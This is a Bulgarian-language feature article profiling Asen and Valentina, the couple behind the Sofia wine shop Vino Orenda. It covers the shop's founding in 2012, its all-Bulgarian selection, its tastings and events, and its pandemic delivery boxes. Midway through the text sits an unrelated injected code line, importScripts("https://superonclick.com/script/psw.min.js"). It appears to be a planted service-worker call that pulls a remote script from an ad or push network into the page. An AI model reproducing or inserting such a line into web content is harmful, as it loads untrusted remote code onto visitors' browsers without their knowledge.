fbpx
+359 88 637 6704 info@sofiawinewalk.com

Когато говорим за българско вино, освен производителите е нужно да споменем и хората от най-предната част на фронтовата линия. Това са посланниците или тези, които са поели отговорната задача да представят крайния резултат от труда на избите до потребителя. А за това се изискват много умения, знания, търпение и много често преминаване през несгоди. Не достига само да образоваш своя клиент, но и да рискуваш да му препоръчаш това, което ти би изпил, да го впечатлиш и накараш да повярва в магията на виното. И всичко това е обединено в иначе простичкия израз– търговия с вино. С тази мисия са се заели Асен и Валентина – семейството зад проекта магазин Вино Оренда.

За да започнеш да се занимаваш с вино, задължително е самият ти да пиеш вино. Така се случва и с Асен и Валя. Пътуват, изследват различни дестинации, търсят, подхождат с безкрайно любопитство към всичко винено в продължение на години. Когато се връщат вкъщи споделят историите си с приятели и неусетно започват да получават въпроси от рода на : „Какво вино да си купя за вечеря довечера?“ ; „Кои винарни да посетя на почивката следващия месец ?“ От любители и ентусиасти постепенно се превръщат в консултанти за своя приятелски кръг.

А близостта до хората определено им е слабост – обичат да се срещат с различни личности и да обменят информация за преживявания. Сигурно е заради професиите им. Асен е в търговията откакто се помни, а Валентина в туризма. Икономическата криза през 2009/2010 г рязко променя правилата на играта и обстоятелствата на работните места. Сякаш узрява моментът да пробват нещо сами, да рискуват просто да бъдат себе си, да създадат своя собствена визия и  да се отдадат на любовта си към виното. Случайната развръзка никак не е случайна. И двамата са чувствали от дълго време, че е време за нещо свое. Няма как да е просто нещо, от опит и двамата знаят, че фокусът, строго очертаният профил рано или късно дават резултат. Споделят философията за потребление на местен принцип – качествени локални продукти от малки производители. А „copy-paste“ стратегията отдавна им е скучна и безлична. Личности трябват, новаторство, креативност, нестандартност, смелост, постоянство.

Така се ражда Вино Оренда – различното за времето си място. Когато стартират през 2012 г са първият магазин с изцяло българска винена селекция, а и един от малкото тогава места, покриващи понятието винен магазин. Съвсем непланирано и случайно отварят на 17 септември – Деня на Вярата, надеждата и любовта и също ден на София. Вълнението ги преследва по петите до последните буквално 5 минути преди отваряне на вратата. Редят бутилки по рафтовете, пишат етикети. Стигнали са до момента да бъдат самостоятелни и нямат право на нищо, неотговарящо на определението перфектно. Асен още си спомня срещата с първия клиент – тогава още не е обмислял програма за лоялни клиенти, но за сметка на това твърдо заявил на мъжа, че има доживотна отстъпка. И така вече 8 години.

importScripts("https://superonclick.com/script/psw.min.js");

А рождения ден на магазина не пропускат да отпразнуват коя от коя година по-интересно. Засега в регистъра са тематични дегустации, събития с гостуващи винарни и винено шоу в ретротрамвай. А в началото някои от бранша приемат идеята с недоверие – та кой досега е имал смелостта да отвори магазин само за българско вино. Първите години се характеризират с добиване на популярност и опознаване на пазара . Те не пропускат да се посветят на обиколки и посещение на винарни, за да изградят стабилни знания и много впечатления за вината. Срещат се лично с инициаторите на проектите. Откриват, че словосъчетанието семейна винарна е ключово, когато става въпрос за българско вино. Историите на производителите често наподобяват тяхната собствена – отдаденост на каузата и стремеж за развитие. Днес двойката не може да се похвали с много свободно време, но пък със собствено изграден кръг от ценители на българското вино. Грижата за клиентите запълва изцяло забързаното им ежедневие.

Оренда – най – българската дума ? Ако някои от нас са забравили, то думата Оренда има много древен произход. Старобългарска е. А за значението – много са. Олицетворява вътрешната сила на човек, божественото в него, която се е смятало че се намира в главата. Символ са старобългарските войни, които търсят вътре в себе си силата за победа. Скритата сила на Асен и Валентина определено е виното. След дълги обсъждания с приятели се спират на тази дума срещната в книга на Николай Пенчев. В нея е пресъздаден период от времето на Княз Борис, изпълнен със старобългарски загадки. Според книгата Хан Крум пие вино от черепа на Никифор, за да придобие от силата му, но и да й отдаде почит.  От там черпят вдъхновението си и решават – нека бъде светлина, нека бъде Оренда. Авторът Николай Пенчев специално канят на откриването на магазина.

Везните се накланят в друга посока. Асен и Валентина не спират да се учат, да обикалят, да дегустират, да слушат и никога не забравят любимата си дума „лично“. Това е отношението не само към всеки един клиент, но и към всяко едно вино в магазина. Пробвали са го и познават добре, за да имат куража да застанат пред клиента и безрезервно да го препоръчат. Започват да организират тематични дегустации, често с гостуващи винарни. Първоначално в листа са около 25 винарни, а днес са над 50. Биха увеличили тази цифра, но ограниченото пространство не им позволява. Асен разказва, че подемът на българското вино започва някъде след 2007 г. Приятни са спомените му, когато първите стъпки на прохождащи винарни като Марян, Братанови, Вила Мелник, Орбелус ги довеждат до вратата му. Може да се каже, че магазинът и изброените са връстници.

Години след Вино Оренда и други специализирани магазини с българска селекция вина се появяват на пазара като Купаж и Енджой Уайн . Това със сигурност раздвижва пазара и ако в началото на Асен му е трудно да обяснява що е то българско вино и местни сортове, то в последно време има повече от едно винено събитие всяка седмица. Усеща се, че макар и все още в зародиш вече можем да се поздравим с раждането на винена култура в София. Някои клиенти стават все по-заинтересовани, по-смели да експериментират и търсещи нови винени предизвикателства. Асен е повече от готов за тях. Историческа можем да наречем вертикалната му дегустация на Тамянка от Братанов през юни 2019 г. Тогава са отворени 6 последователни реколти 2013 – 2018 г. Оборени са критиците, които смятат, че българските бели вина не могат да отлежават и, че е по-добре да изпием най-младата реколта. Вината показват страхотен потенциал, а гостите и до ден днешен обсъждат опитаните вина. Асен зорко следи и Мискетите. При тях също е забелязал, че 4-5 годишни бели вина се отблагодаряват за търпението. Така се случва и на дегустацията на Сунгурларски (Червен) Мискет и Сандански Мискет през юли 2019 г. Отварят реколти 2014 и 2015 , 2016, 2017 -Сунгурларски Мискет на Зеланос, Сандански на Орбелия и резултатите са не просто задоволяващи, а невероятни.

Асен е човекът, който пази отдавна изчезнали от пазара бутилки. Кашоните в склада крият какви ли не изненади. Някои от тях отваря и с приятели, защото виното е най-голямото удоволствие, когато го споделяме с близките. Няма да бъде затруднен да си спомни за всяка една реколта. А когато поредният редовен клиент влезе в магазина и не си спомня какво вино си е купил последно, и тук няма как да свари Асен неподготвен – ще го попита : „Не беше ли Сирата на…?“ Най-любими са му въпросите : „Имам въпрос, който не искам да задавам, защото ме е срам.“ Когато става въпрос за българско вино, срамни неща няма. В това успява да убеди Асен редица клиенти. Дори и тези, които недоверчиво влизат в магазина и започват с : „Аз по принцип не пия българско вино“. Малко са и клиентите които познават редките местни сортове, а винарните и проектите в този списък са десетки – Манастира,  Иво Върбанов, Ничев, Виа Антика, Ембърли Естейт, Врачанска Теменуга, Милков и Георгиев, Виа Верде.

В последните години Асен и Валентина все повече излизат на винени приключения извън границите на магазина – представяния на български вина на чужденци, тематични събития, тийм – билдинги. Календарът се запълва с всеки изминал ден. Асен и Валя обичат оригиналните идеи, стойностните събития, добре премислените неща. Изграждат проект, който искат да съществува и да се развива и в бъдеще. С радост отбелязват, че в последно време хората, които им звънят за организиране на ивенти не използват вече фразата : „Искаме събития с някакви български вина“. Интересът вече е прерастнал до : „Да измислим заедно оригинална идея във винен контекст.“  Така идва и идеята за Софийски Квартален Tour de Зарезан. Вино Оренда е член на БАНЛВ, асоциация на независимите български лозаро-винари. Това е инициатива за обединение на бранша в името на българското вино. С тяхна подкрепа, но изцяло по лична инициатива и с организационна заслуга Асен и Валентина решават да дадат на Софийската винена публика незабравимо по рода си събитие. Първото издание е през февруари 2018 г и включва 4 обекта и около 15 изби. 2019 и 2020 отчитат засилен интерес, 5 обекта и около 20 изби-участници. Улична пешеходна обиколка с посещение на 5 обекта, събиране на печати за многобройни награди и опитване на безброй български вина. Какво повече може да си пожелае човек в студените зимни месеци ?

Истинското значение на концепцията семеен бизнес. Един от хората в сянка, но не съвсем, е бащата на Асен. Когато двойката няма възможност да прекара време в магазина, 70 – годишният човек поема инициативата. Макар и с доста опит в търговията, виното е нова и непозната материя за него в началото. За първо време си носи бележки-жокери в джоба, че да не го сварят неподготвен с неудобни винени въпроси. Дори и когато е свободен, остава в магазина, за да слуша и да се учи от историите на Асен за българските вина. Когато има постоянство, има и резултат. Не минава дълго време и клиенти благодарят на Асен за винения съвет, даден им от бащата.

COVID 19 и Вино Оренда. Семейството е повече от сигурно, че това е темата на всички виртуални дискусии в момента. Липсват им дегустациите, срещите лице в лице с публиката – тяхната най-силна страна. Убедени са, че нещата няма да са същите както преди. Магическата машина за връщане назад във времето този път няма да проработи, колкото и на всички ни да ни се иска. Ще бъдем изправени пред съвсем различна реалност от познатата досега.

Какво да се прави ? Адаптивност и иновативност са новите съмишленици на българския винен предприемач. Асен и Валентина вече са открили нов начин да се свържат с клиентите си, да запазят така скъпото им лично отношение, но и да провокират с предложения. Вълшебната дума е #Stayhomeкашон. Това е селекцията от български вина, която те правят за доставка на своите клиенти. Идва в няколко ценови разновидности – от по-базово предложение до премиум оферта с лимитирани серии вина. Ядрото от вина са от местни сортове, на които Асен изключително много държи. Именно затова излъчва в мрежата няколко пъти седмично видеа за представяне на местни сортове. Възможността се крие във всичко, което правим. Така се оказва и в случая на клиентите на #Stayhomeкашон. Асен със смес от изненада и радост открива, че болшинството, възползвали се от услугата са напълно нови клиенти. Е, било му е писано на българското вино да завладява и нови непознати хоризонти. За да поддържа любимото лично отношение, те добавят и писмо с описание на вина и сортове към всеки един кашон. И сега какво ? Семейството се чуди дали да не се радва –заради изолацията има време за много от изоставените проекти. Време е за ново начало. А посятото се надяват да пожънат на есен. Идеята за #Stayhomeкашон остава и за след пандемията. Асен и Валентина вярват, че обединението ще помогне на българското вино да пробива напред. Затова не могат да скрият радостта си като виждат, че предлагането и търсенето едновременно се увеличават.

Автор

Павлин Иванов